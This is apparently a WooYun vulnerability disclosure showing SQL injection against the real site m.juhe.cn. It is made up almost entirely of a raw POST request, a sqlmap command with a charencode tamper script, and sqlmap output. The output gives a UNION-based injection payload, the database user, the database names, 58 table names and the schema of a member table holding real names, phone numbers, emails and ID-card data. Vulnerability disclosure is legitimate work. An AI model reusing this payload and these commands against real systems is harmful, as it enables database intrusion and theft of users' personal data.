WooYun.org

POST /data/index HTTP/1.1
Host: m.juhe.cn
Accept: */*
Accept-Language: en
dataname=Peter+Winter&interface_btn=%0d

sqlmap.py -u "http://m.juhe.cn/data/index" --data="dataname=Peter+Winter&interface_btn=%0d" --tamper="tamper/charencode.py" --dbs

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: dataname (POST)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: dataname=Peter Winter') UNION ALL SELECT CONCAT
(0x7176767671,0x644e486e6c637559504b,0x71706b7671),NULL#&interface_btn=
---
web application technology: Apache
back-end DBMS: MySQL 5
current user:    'juheuser@%'
available databases [6]:
[*] information_schema
[*] mobile_juhe
[*] op.ofpay
[*] test
[*] ucenter
[*] weizhang_weiche

Database: mobile_juhe
[58 tables]
+---------------------+
| adm_access_a        |
| adm_access_c        |
| adm_admin           |
| adm_group           |
| adm_group_access    |
| adm_logs            |
| chinajoy_awardlogs  |
| chinajoy_awards     |
| chinajoy_ips        |
| foreign_apis        |
| lottery_award_count |
| lottery_logs        |
| lottery_user_award  |
| lottery_user_count  |
| lottery_users_fanli |
| m_account           |
| m_account_pay_logs  |
| m_announcement      |
| m_apiaccount_logs   |
| m_apipay_logs       |
| m_banner            |
| m_bindmail_code     |
| m_category          |
| m_channel           |
| m_channel_report    |
| m_coins_activity    |
| m_coins_exchange    |
| m_data              |
| m_data_api          |
| m_data_delete_logs  |
| m_data_errcode      |
| m_data_package      |
| m_data_price        |
| m_intro_logs        |
| m_login_logs        |
| m_loginad           |
| m_loginerr          |
| m_member            |
| m_message           |
| m_mobilecode        |
| m_news              |
| m_news_category     |
| m_pay_logs          |
| m_paycoin_logs      |
| m_qa                |
| m_qa_answer         |
| m_qa_category       |
| m_qa_tags           |
| m_sq                |
| m_sq_logs           |
| m_user_api          |
| m_user_buylogs      |
| m_user_coin         |
| m_user_coin_logs    |
| m_user_forget       |
| m_user_newbuylogs   |
| m_user_regist_logs  |
| view_data           |
+---------------------+

Table: m_member
[18 columns]
+-------------+------------------+
| Column      | Type             |
+-------------+------------------+
| channel     | varchar(32)      |
| email       | varchar(128)     |
| id          | int(10) unsigned |
| lastlogin   | datetime         |
| mobileact   | tinyint(1)       |
| mobilephone | char(11)         |
| nickname    | varchar(64)      |
| openid      | char(34)         |
| realname    | varchar(64)      |
| regip       | varchar(16)      |
| regtime     | timestamp        |
| type        | int(1)           |
| uid         | varchar(64)      |
| vcard       | tinyint(1)       |
| vcardimg    | varchar(128)     |
| vcardno     | varchar(32)      |
| vcardtime   | datetime         |
| vcardtips   | varchar(64)      |
+-------------+------------------+